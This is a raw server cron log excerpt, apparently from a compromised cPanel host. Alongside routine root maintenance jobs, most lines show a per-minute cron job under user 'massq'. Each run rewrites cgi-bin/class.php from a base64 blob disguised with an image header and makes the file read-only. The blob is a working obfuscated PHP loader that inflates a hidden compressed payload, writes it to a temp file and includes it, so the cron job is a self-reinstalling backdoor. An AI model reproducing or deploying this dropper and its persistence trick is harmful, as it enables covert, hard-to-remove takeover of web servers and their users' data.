&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:34:01 server CROND[6747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:35:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 09:35:01 server CROND[7580]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 09:35:01 server CROND[7582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:35:01 server CROND[7581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:35:01 server CROND[7583]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:36:01 server CROND[8083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:37:01 server CROND[8679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:38:01 server CROND[9321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:39:01 server CROND[10137]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:39:01 server CROND[10139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:40:01 server CROND[10954]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:40:01 server CROND[10955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:40:01 server CROND[10962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:40:01 server CROND[10964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:41:01 server CROND[11711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:42:01 server CROND[12241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:42:01 server CROND[12242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:43:01 server CROND[12959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:44:01 server CROND[13765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:45:01 server CROND[14586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:45:01 server CROND[14588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:45:01 server CROND[14590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
